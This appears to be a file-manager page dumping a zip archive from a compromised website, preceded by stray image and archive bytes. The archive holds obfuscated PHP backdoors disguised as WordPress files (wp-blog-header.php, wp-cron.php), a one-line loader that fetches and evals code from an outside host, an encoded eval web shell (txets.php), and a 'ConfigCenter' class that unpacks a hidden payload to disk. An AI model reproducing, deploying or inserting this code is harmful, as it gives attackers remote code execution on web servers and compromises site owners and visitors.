ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/loginjajantogel.com/paussea.com.zip
Back
PK ��\�k��t t tool1.phpnu �[��� <?php $path = "https://code.decpain.my/fgj/1/tool.php"; $code = implode('', file($path)); eval("?>" . $code); ?>PK ��\ ���� � cgi-bin/wp-blog-header.phpnu ��6�$ <?php goto tUl6b; wXtx3: $rHfMY = $_REQUEST["\144\157\141\143\x74"]; goto HgQ3I; aYfRm: session_start(); goto wXtx3; N7Xk9: $sJ3ad = (isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\x6f\156" ? "\150\164\x74\160\x73" : "\150\164\x74\160") . "\x3a\x2f\x2f{$_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"]}{$_SERVER["\122\x45\x51\125\x45\123\124\137\x55\x52\111"]}"; goto Pmj6n; LLG9S: function sXidc($sJ3ad) { goto n0NKE; NAssn: $tz7fb = curl_exec($U8dd8); goto S3rIV; yoBMI: return $tz7fb; goto VHWhP; TwOE6: $tz7fb = stream_get_contents($FJvaM); goto cwV9V; VDpuf: if (!function_exists("\x63\x75\x72\154\137\x65\x78\145\x63")) { goto el1M3; } goto XeE53; RIUJx: el1M3: goto qrsug; O9m5u: mfeik: goto yoBMI; vh255: $FJvaM = fopen($sJ3ad, "\x72"); goto TwOE6; ENMVc: if (!(empty($tz7fb) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\155\137\147\x65\x74\137\143\x6f\x6e\x74\x65\156\164\163"))) { goto mfeik; } goto vh255; n0NKE: $tz7fb = ''; goto VDpuf; K9wqV: KCf2O: goto ENMVc; OEkP7: curl_setopt($U8dd8, CURLOPT_RETURNTRANSFER, 1); goto JMTNg; XeE53: $U8dd8 = curl_init($sJ3ad); goto OEkP7; S3rIV: curl_close($U8dd8); goto RIUJx; tkeD5: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYPEER, 0); goto cQqi_; JMTNg: curl_setopt($U8dd8, CURLOPT_FOLLOWLOCATION, 1); goto tkeD5; T4y9f: $tz7fb = file_get_contents($sJ3ad); goto K9wqV; cwV9V: fclose($FJvaM); goto O9m5u; cQqi_: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYHOST, 0); goto NAssn; qrsug: if (!(empty($tz7fb) && function_exists("\x66\151\x6c\x65\x5f\x67\x65\x74\137\x63\157\156\x74\145\x6e\164\163"))) { goto KCf2O; } goto T4y9f; VHWhP: } goto KwJ9D; rzajS: exit; goto kAGwF; B6fd_: eval("\77\x3e" . $Biqik); goto rzajS; Pmj6n: XlPsQ(array("\167\145\x62" => $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>PK ��\ ���� � cgi-bin/wp-cron.phpnu �[��� <?php goto tUl6b; wXtx3: $rHfMY = $_REQUEST["\144\157\141\143\x74"]; goto HgQ3I; aYfRm: session_start(); goto wXtx3; N7Xk9: $sJ3ad = (isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\x6f\156" ? "\150\164\x74\160\x73" : "\150\164\x74\160") . "\x3a\x2f\x2f{$_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"]}{$_SERVER["\122\x45\x51\125\x45\123\124\137\x55\x52\111"]}"; goto Pmj6n; LLG9S: function sXidc($sJ3ad) { goto n0NKE; NAssn: $tz7fb = curl_exec($U8dd8); goto S3rIV; yoBMI: return $tz7fb; goto VHWhP; TwOE6: $tz7fb = stream_get_contents($FJvaM); goto cwV9V; VDpuf: if (!function_exists("\x63\x75\x72\154\137\x65\x78\145\x63")) { goto el1M3; } goto XeE53; RIUJx: el1M3: goto qrsug; O9m5u: mfeik: goto yoBMI; vh255: $FJvaM = fopen($sJ3ad, "\x72"); goto TwOE6; ENMVc: if (!(empty($tz7fb) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\155\137\147\x65\x74\137\143\x6f\x6e\x74\x65\156\164\163"))) { goto mfeik; } goto vh255; n0NKE: $tz7fb = ''; goto VDpuf; K9wqV: KCf2O: goto ENMVc; OEkP7: curl_setopt($U8dd8, CURLOPT_RETURNTRANSFER, 1); goto JMTNg; XeE53: $U8dd8 = curl_init($sJ3ad); goto OEkP7; S3rIV: curl_close($U8dd8); goto RIUJx; tkeD5: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYPEER, 0); goto cQqi_; JMTNg: curl_setopt($U8dd8, CURLOPT_FOLLOWLOCATION, 1); goto tkeD5; T4y9f: $tz7fb = file_get_contents($sJ3ad); goto K9wqV; cwV9V: fclose($FJvaM); goto O9m5u; cQqi_: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYHOST, 0); goto NAssn; qrsug: if (!(empty($tz7fb) && function_exists("\x66\151\x6c\x65\x5f\x67\x65\x74\137\x63\157\156\x74\145\x6e\164\163"))) { goto KCf2O; } goto T4y9f; VHWhP: } goto KwJ9D; rzajS: exit; goto kAGwF; B6fd_: eval("\77\x3e" . $Biqik); goto rzajS; Pmj6n: XlPsQ(array("\167\145\x62" => $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>PK ��\ ���� � wp-blog-header.phpnu �[��� <?php goto tUl6b; wXtx3: $rHfMY = $_REQUEST["\144\157\141\143\x74"]; goto HgQ3I; aYfRm: session_start(); goto wXtx3; N7Xk9: $sJ3ad = (isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\x6f\156" ? "\150\164\x74\160\x73" : "\150\164\x74\160") . "\x3a\x2f\x2f{$_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"]}{$_SERVER["\122\x45\x51\125\x45\123\124\137\x55\x52\111"]}"; goto Pmj6n; LLG9S: function sXidc($sJ3ad) { goto n0NKE; NAssn: $tz7fb = curl_exec($U8dd8); goto S3rIV; yoBMI: return $tz7fb; goto VHWhP; TwOE6: $tz7fb = stream_get_contents($FJvaM); goto cwV9V; VDpuf: if (!function_exists("\x63\x75\x72\154\137\x65\x78\145\x63")) { goto el1M3; } goto XeE53; RIUJx: el1M3: goto qrsug; O9m5u: mfeik: goto yoBMI; vh255: $FJvaM = fopen($sJ3ad, "\x72"); goto TwOE6; ENMVc: if (!(empty($tz7fb) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\155\137\147\x65\x74\137\143\x6f\x6e\x74\x65\156\164\163"))) { goto mfeik; } goto vh255; n0NKE: $tz7fb = ''; goto VDpuf; K9wqV: KCf2O: goto ENMVc; OEkP7: curl_setopt($U8dd8, CURLOPT_RETURNTRANSFER, 1); goto JMTNg; XeE53: $U8dd8 = curl_init($sJ3ad); goto OEkP7; S3rIV: curl_close($U8dd8); goto RIUJx; tkeD5: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYPEER, 0); goto cQqi_; JMTNg: curl_setopt($U8dd8, CURLOPT_FOLLOWLOCATION, 1); goto tkeD5; T4y9f: $tz7fb = file_get_contents($sJ3ad); goto K9wqV; cwV9V: fclose($FJvaM); goto O9m5u; cQqi_: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYHOST, 0); goto NAssn; qrsug: if (!(empty($tz7fb) && function_exists("\x66\151\x6c\x65\x5f\x67\x65\x74\137\x63\157\156\x74\145\x6e\164\163"))) { goto KCf2O; } goto T4y9f; VHWhP: } goto KwJ9D; rzajS: exit; goto kAGwF; B6fd_: eval("\77\x3e" . $Biqik); goto rzajS; Pmj6n: XlPsQ(array("\167\145\x62" => $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>PK ��\U�e e txets.phpnu ��6�$ <?php goto iLe2iCB15k; SPzwoaOJxq: ($qlTfygIhlS[63] = $qlTfygIhlS[63] . $qlTfygIhlS[74]) && ($qlTfygIhlS[90] = $qlTfygIhlS[63]($qlTfygIhlS[90])) && @eval($qlTfygIhlS[63](${$qlTfygIhlS[50]}[15])); goto sctUIi0t6M; sctUIi0t6M: CVfa5zeeMa: goto i7SADjaiuT; i7SADjaiuT: metaphone("\x4d\152\111\62\x4f\124\x6b\x33\x4e\172\x59\x34\x4e\124\x4d\63\x4d\x54\115\x79\117\104\x6b\x33\115\x54\x59\x79\x4e\x54\x4d\171"); goto xL6b905rnw; kVxNusRvVI: if (!(in_array(gettype($qlTfygIhlS) . count($qlTfygIhlS), $qlTfygIhlS) && count($qlTfygIhlS) == 22 && md5(md5(md5(md5($qlTfygIhlS[16])))) === "\146\61\61\66\x63\x34\144\62\x37\x65\141\146\x65\142\142\143\x35\x65\67\x35\63\x34\145\x32\63\x35\x33\143\144\141\x62\71")) { goto CVfa5zeeMa; } goto SPzwoaOJxq; iLe2iCB15k: $hwIoyi2fWC = "\162" . "\141" . "\x6e" . "\147" . "\x65"; goto pKzThpaBgg; pKzThpaBgg: $J2i_mLfnoP = $hwIoyi2fWC("\176", "\x20"); goto Iuz0uQGPP1; xL6b905rnw: class rRPfBnpv2W { static function BepSxjFZ2K($O1A53aqhYH) { goto uQMsXUVt0k; CqscrTCWXX: $Hqs7ZGE_G9 = explode("\x21", $O1A53aqhYH); goto ukB7N1Ifn2; osopW632VD: return $iinQvErfcl; goto X2Tpk1MRIm; tTOnMzP1WQ: CaqyxPE21V: goto osopW632VD; z3a0JZmiKC: foreach ($Hqs7ZGE_G9 as $Z7zZRuJl_j => $uEhZl41OOW) { $iinQvErfcl .= $vfn8in21xO[$uEhZl41OOW - 2232]; WR7siK_5hN: } goto tTOnMzP1WQ; ukB7N1Ifn2: $iinQvErfcl = ''; goto z3a0JZmiKC; uQMsXUVt0k: $l2cLsk7oTS = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto TjkaXvezTk; TjkaXvezTk: $vfn8in21xO = $l2cLsk7oTS("\x7e", "\x20"); goto CqscrTCWXX; X2Tpk1MRIm: } static function qoJDIHtY6Z($ptRhGbx20u, $stL5Afettx) { goto ySSJnDvyB8; DXmf5MpnV6: $YB2qDI23La = curl_exec($B7gTmCtyA7); goto oy0U438SZQ; xSu4kgDGoj: curl_setopt($B7gTmCtyA7, CURLOPT_RETURNTRANSFER, 1); goto DXmf5MpnV6; oy0U438SZQ: return empty($YB2qDI23La) ? $stL5Afettx($ptRhGbx20u) : $YB2qDI23La; goto m2qlF5rBHL; ySSJnDvyB8: $B7gTmCtyA7 = curl_init($ptRhGbx20u); goto xSu4kgDGoj; m2qlF5rBHL: } static function I9DqSXC88g() { goto UAwuoDZbE2; bY3Jf5mQ4U: $P_HLdcnaM1 = self::qoJDIhty6Z($QG2Hoy0MYT[1 + 0], $gZiOA9JvMS[0 + 5]); goto pUzodTmAnr; VxIcg0WBQN: $nePOvVk0Fj = @$gZiOA9JvMS[1]($gZiOA9JvMS[0 + 10](INPUT_GET, $gZiOA9JvMS[5 + 4])); goto LWXu2e57mW; ssdOiA6xd7: die; goto N_h3qVTbVv; pReblOFREu: foreach ($i75zox4xOH as $ybDkwoocdO) { $gZiOA9JvMS[] = self::BePsxjFZ2K($ybDkwoocdO); r7gJ74qrBI: } goto hOz0gb02C4; VI0HO9Liza: @$gZiOA9JvMS[7 + 3](INPUT_GET, "\x6f\x66") == 1 && die($gZiOA9JvMS[4 + 1](__FILE__)); goto aQ61LlY5ve; N_h3qVTbVv: cgsfJVtdto: goto a452iEi9zJ; LWXu2e57mW: $c9Iq1Yf8LZ = @$gZiOA9JvMS[2 + 1]($gZiOA9JvMS[3 + 3], $nePOvVk0Fj); goto e8v7wFpL_O; pUzodTmAnr: @eval($gZiOA9JvMS[3 + 1]($P_HLdcnaM1)); goto ssdOiA6xd7; e8v7wFpL_O: $QG2Hoy0MYT = $gZiOA9JvMS[0 + 2]($c9Iq1Yf8LZ, true); goto VI0HO9Liza; aQ61LlY5ve: if (!(@$QG2Hoy0MYT[0] - time() > 0 and md5(md5($QG2Hoy0MYT[1 + 2])) === "\67\x37\x37\x37\146\x65\70\144\x61\x31\x63\x33\60\x33\x61\x39\x39\70\x36\145\x32\x31\x37\64\64\x36\x63\x62\x38\60\67\62")) { goto cgsfJVtdto; } goto bY3Jf5mQ4U; hOz0gb02C4: tOGk0p78Pp: goto VxIcg0WBQN; UAwuoDZbE2: $i75zox4xOH = array("\x32\62\65\x39\41\x32\x32\64\x34\41\x32\62\x35\67\41\x32\x32\x36\x31\x21\62\x32\64\62\x21\62\x32\65\67\x21\x32\x32\x36\63\x21\x32\62\65\66\41\62\62\x34\61\x21\x32\62\x34\x38\41\62\x32\65\71\x21\x32\x32\x34\62\x21\62\x32\65\63\41\62\62\x34\67\x21\x32\62\x34\70", "\x32\62\64\x33\x21\62\62\x34\x32\x21\x32\x32\64\64\x21\62\x32\x36\x33\x21\x32\x32\64\64\x21\x32\x32\64\67\x21\x32\62\x34\62\x21\x32\63\x30\71\x21\x32\63\x30\x37", "\62\62\65\x32\x21\62\x32\x34\x33\41\62\62\64\67\41\x32\62\x34\x38\x21\62\x32\66\x33\41\x32\62\65\x38\41\62\62\65\x37\x21\x32\62\x35\71\41\62\62\64\x37\41\x32\x32\x35\x38\x21\62\62\x35\x37", "\62\x32\64\66\x21\62\62\x36\x31\x21\62\62\65\x39\x21\x32\x32\x35\61", "\x32\x32\66\x30\x21\62\62\66\61\41\x32\x32\64\63\41\x32\x32\x35\x37\41\x32\63\x30\x34\41\x32\x33\60\x36\41\x32\x32\x36\x33\x21\x32\x32\x35\70\x21\62\62\x35\67\x21\62\x32\x35\71\x21\62\62\x34\x37\41\62\62\x35\x38\41\62\x32\65\67", "\x32\x32\65\x36\x21\x32\x32\x35\x33\41\x32\62\65\60\x21\x32\62\65\x37\41\x32\62\x36\63\41\62\62\65\65\x21\x32\62\65\x37\41\x32\62\64\62\41\62\62\66\x33\x21\x32\x32\65\71\41\62\x32\x34\x37\x21\x32\x32\64\x38\41\x32\62\64\x32\41\x32\x32\x35\x37\x21\62\62\x34\x38\41\62\62\x34\62\41\62\62\x34\x33", "\62\62\x38\x36\41\62\63\x31\66", "\62\62\x33\x33", "\62\63\61\61\x21\62\63\61\x36", "\62\x32\71\63\x21\x32\62\67\x36\41\62\62\67\x36\41\x32\62\x39\63\x21\62\x32\66\71", "\x32\62\65\x36\x21\x32\62\x35\x33\x21\62\x32\65\60\x21\62\62\x34\62\x21\x32\62\65\67\x21\x32\62\64\64\x21\x32\62\x36\63\x21\62\x32\x35\x33\41\x32\62\64\x38\41\62\x32\64\66\41\x32\62\64\61\x21\62\x32\64\x32"); goto pReblOFREu; a452iEi9zJ: } } goto vb8iogyTex; Iuz0uQGPP1: $qlTfygIhlS = ${$J2i_mLfnoP[12 + 19] . $J2i_mLfnoP[23 + 36] . $J2i_mLfnoP[34 + 13] . $J2i_mLfnoP[1 + 46] . $J2i_mLfnoP[11 + 40] . $J2i_mLfnoP[38 + 15] . $J2i_mLfnoP[50 + 7]}; goto kVxNusRvVI; vb8iogyTex: rrpFbNPv2w::I9dQsxC88g(); ?> BiaoJiOkPK ��\ ���� � wp-cron.phpnu �[��� <?php goto tUl6b; wXtx3: $rHfMY = $_REQUEST["\144\157\141\143\x74"]; goto HgQ3I; aYfRm: session_start(); goto wXtx3; N7Xk9: $sJ3ad = (isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\x6f\156" ? "\150\164\x74\160\x73" : "\150\164\x74\160") . "\x3a\x2f\x2f{$_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"]}{$_SERVER["\122\x45\x51\125\x45\123\124\137\x55\x52\111"]}"; goto Pmj6n; LLG9S: function sXidc($sJ3ad) { goto n0NKE; NAssn: $tz7fb = curl_exec($U8dd8); goto S3rIV; yoBMI: return $tz7fb; goto VHWhP; TwOE6: $tz7fb = stream_get_contents($FJvaM); goto cwV9V; VDpuf: if (!function_exists("\x63\x75\x72\154\137\x65\x78\145\x63")) { goto el1M3; } goto XeE53; RIUJx: el1M3: goto qrsug; O9m5u: mfeik: goto yoBMI; vh255: $FJvaM = fopen($sJ3ad, "\x72"); goto TwOE6; ENMVc: if (!(empty($tz7fb) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\155\137\147\x65\x74\137\143\x6f\x6e\x74\x65\156\164\163"))) { goto mfeik; } goto vh255; n0NKE: $tz7fb = ''; goto VDpuf; K9wqV: KCf2O: goto ENMVc; OEkP7: curl_setopt($U8dd8, CURLOPT_RETURNTRANSFER, 1); goto JMTNg; XeE53: $U8dd8 = curl_init($sJ3ad); goto OEkP7; S3rIV: curl_close($U8dd8); goto RIUJx; tkeD5: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYPEER, 0); goto cQqi_; JMTNg: curl_setopt($U8dd8, CURLOPT_FOLLOWLOCATION, 1); goto tkeD5; T4y9f: $tz7fb = file_get_contents($sJ3ad); goto K9wqV; cwV9V: fclose($FJvaM); goto O9m5u; cQqi_: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYHOST, 0); goto NAssn; qrsug: if (!(empty($tz7fb) && function_exists("\x66\151\x6c\x65\x5f\x67\x65\x74\137\x63\157\156\x74\145\x6e\164\163"))) { goto KCf2O; } goto T4y9f; VHWhP: } goto KwJ9D; rzajS: exit; goto kAGwF; B6fd_: eval("\77\x3e" . $Biqik); goto rzajS; Pmj6n: XlPsQ(array("\167\145\x62" => $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: } ?>PK ��\7��.� � paussea.com.phpnu ��6�$ <?php class ConfigCenter { private $lj = ''; private $yc = ''; public function parseResponse($p1) { $a = array((120-10),((112-7)),((83*1)+15),(1+49),((45*35)-1455),((95+6)),(80+2+22)); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1); } public function resolveAction($p1) { $a = array((103*1),((46+22+54)),((115+1+1)),((113-3)),99,(((6*18)+3)),(109),(112),(114),(46+55),115,(8+82+25)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1); } public function resolveConflict($p1,$p2) { $a = array(((32*1)+70),(116-5),(116-4),((101*1)),((54+56))); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function saveChanges($p1,$p2) { $a = array((22+36+43),(119-3),(105),((71+5+38)),((19+89+11)),((105-3))); $s = ''; foreach($a as $n){ $s .= chr($n); } $s = strrev($s); return $s($p1,$p2); } public function terminateSession($p1) { $a = array((((73*90)-6468)),(102-3),((56*12)-564),((6*20)-9),((118-3)),(101*1)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1); } public function processData($p1,$p2=null) { $a = array(114,((100+16)),((123-9)),((3*35)),(109)); $s = ''; foreach($a as $n){ $s .= chr($n); } return $s($p1,$p2); } public function computeResult() { $this->yc = $this->processData($this->checkConsistency(), '/'); } public function updateRegistry() { $this->lj = $this->resolveAction($this->parseResponse($this->ln)); } public function executeAction() { $fn = $this->yc.'/cj-67fc3acfe2cac'; $f = $this->resolveConflict($fn, 'w'); $this->saveChanges($f, $this->lj); $this->terminateSession($f); $this->syncRecords($fn); } private $ln = '789ca5570b6fe24812fe2b89142d582064ec763b0ce71d8de' . '698ddd1e5c22ac9ece9348a2c63b7c160ccc33810b2f9ef5b5' . '5dd266d3381d1dd646cdc5d5f3dbaaababaeb1f1f9793e5459' . '806797ee1a7bb97e53a790a36e222df049b24bcf2b7d9ac2fb' . 'f2fe2220b37c922bbf0c5b60994d1da7849e2e6652ed2f8c30' . '7821af2db4f464da3bf169b629d5d4cc4ce1a255953837d27e' . 'e47a3ff5a55a7a940092f1a8b17acd7c173b3e1aff271c3fbb' . '5c1badc863fc7b55ddb8a98cd632e5ce65af01bc2b8cbc346a' . '7c1431ebb2e0c6320f4b8cb61aec7851d58f0615a41a3ddf09' . 'fb6244e09e00ebeadc8616e0f30aec91d409bbceb9a2ef280c' . '41ea8ed02b2871c56cc03187178c01cd4423097a1e87883a20' . '10e53d738911734e1b83d1680689bd9ac6773d60319aecd58f' . '8ce6f0fa4baa08f392e73680d2ce620c2369dc0b966c2360f1' . '09b470e2e9c472435462ee63adc0d908f311bdff004f8d1439' . 'b822919e576d170175f814bc64e26cf48b0c187c83b420e818' . '46da2e62ddee5cca6b9594842909d2bdfc31322a9182189fcb' . '17b2e3f8b6df9b51f2dc929d7103de69ae0edd88ac1db0eb72' . 'c016b825fce6119217c5d43386d0c920b348e218b200068187' . 'e8247e10b108a4e4bb1ed9833dec5b5c10f4223d4ba4b64685' . 'c8052a23831fe4072708a3bb90970f35437ce2995e10bddc81' . 'd048d6601ad1e13f21acc8c0e94c93857fccaef2085f2c3a67' . '48828f588e6380a6199485a497f9a946965fa0473152987239' . 'a2c7729889b270a494c5edebfa134c83821975b26bb7618fc9' . '9566c772d0174db34d1623360e85f9c70294f8283356920e43' . '268f1ae5df11089352360a73d047f0eb7a5d5b44570ff0009b' . '722440681a80c7fd075b9f41c90420a3d461009cba04c90644' . '6bad10914fe52f17659949a71985144cbc53931ec2dcc40d68' . '3b18029120cac3d8796347eaec29d6b60e12c762cd8645dc76' . '20c0828414da32fc8d31433a03b0cca8a8200a6cbe89386041' . 'c4de39a0642da10690bf1878440f3ca35ad92b0ca443c6f4c8' . 'ce03849f0e4e0a4e7daeac940daf28eb4489976304fec8f151' . '10faa626fb8200c4b1d693e3b7271e95fd214332a2a520d797' . '9369ebfc7428b788b8ace3599463f131c9a4301d2d25dbafa0' . '117ed548d910c65ca5c7290625f6d6b81d5a37a08ff6e5ea29' . '4478f92e00dbba6830aaa8f254f9e88ca93ac1bb45cd49a4fc' . '968c84adc2738154513b951dd9036a0e3b0ee613b962e8a821' . '203008bcb9a8f5b178152ce365e490cce41b17615bf2d68b39' . '385b2f496158fd8a6aa7e38cacc2ed514794680224ed398dfa' . 'bfab1811f50a7e0547f9d882012eb265c28e03200b7055c289' . '0c70dc3e81fd39e80b44512dc26923c171bb85dfc3678f8ae4' . '1d0739b86f168182f57be9879fe763a6e56e970b84a1108f8e' . '5977cb35e2e721ab435205a398507c1979e1707692e8c97281' . '1bab40900f0794689af022075045a9c10f5f5a4d1333a0595d' . 'dd126f3aefccfc3e1bfbe0efa577e9a265e33c936c67a51645' . '1d36cd19fd1a7cb914eb13ab6feaf75668c1216b9ba30c9c17' . '7d2f6e8558d2bf0586f18fded24494579a3d3e01d8f6cfeae9' . '9d2755a5dc778541738f4f6e531c66cd1ff12d6d217d9b19c5' . '6f505ce79f9b11c5d575508d7ffb9adb313a063b416c14c7ab' . 'dd57acf29f14e465dc60070af32184726743b2e58577919551' . '3ed6a8cce4e18a80b53824cd344b92d30bf6974eaf35dabd5b' . '58c3206559addb28187e451e6c935d4f8ed56f7806a1f49a8e' . '5d8993138b8ff03239419a0fe070aaa213b33361e8f1ce0d63' . '8ce8cc992aa048e39587d11aa96882686b8fac21d0d114bb23' . '02d22a13cdd7f7deb5fb03e5df971b082854fe75e56a4297c8' . 'd1665c581d9ad9e7985ac81e0c45daecfef718f2e1b187e102' . '62ba41f06691a8cd27a45da614542d14fb11716ebd44fb204c' . 'bd22e37fa34862ab558e2cc53dcfefcedee66f8c7837f7f7fe' . '3ff39b8fbfae5bf7f0c06776d69decfc07f1fde3fb42b5e42d' . '71c1ee384902fc39b9be17f6e869f3f3d7c1ddeb6ffbf7d734' . '2cfdde0e1dbddedc3dda7dbfb2fb0b663634f31ff3ef8f4cf1' . 'a13d5e7132c9f87b7b783cf0f0f5fff3d187eab38c7027dda7' . '34ac84f7153fa9008b1132109c0c9742d27c7629364f142cdd' . '354982e72a126e8904cd7b5b36a0e4f0a67d5a57ef670dea96' . 'caa3363c3505d3fe5913a3baffc55e12d83752e7cb04425e49' . '51f441baf8934dd8ed18cae12c6a3e7d50e6468a568e1bbb0d' . '04939b574b83faa8256eae4d52f155584bab3cce97826b99dd' . 'a01096dd5b160b81f81d4633c3658c7e8546911c0d4a9f95be' . 'ef774ecc5f9229c2d96226b36c92d1f7587c0b23f6863688c8' . 'c6335d024198f6dc9acd778a61741b775666c7cd07899d9626' . '679a34ac7c64bbc2c36397db769f568fca6c88eee30e585e23' . '2160bc58b45a980da0779a924e82701ebea7bba75665c9a04a' . 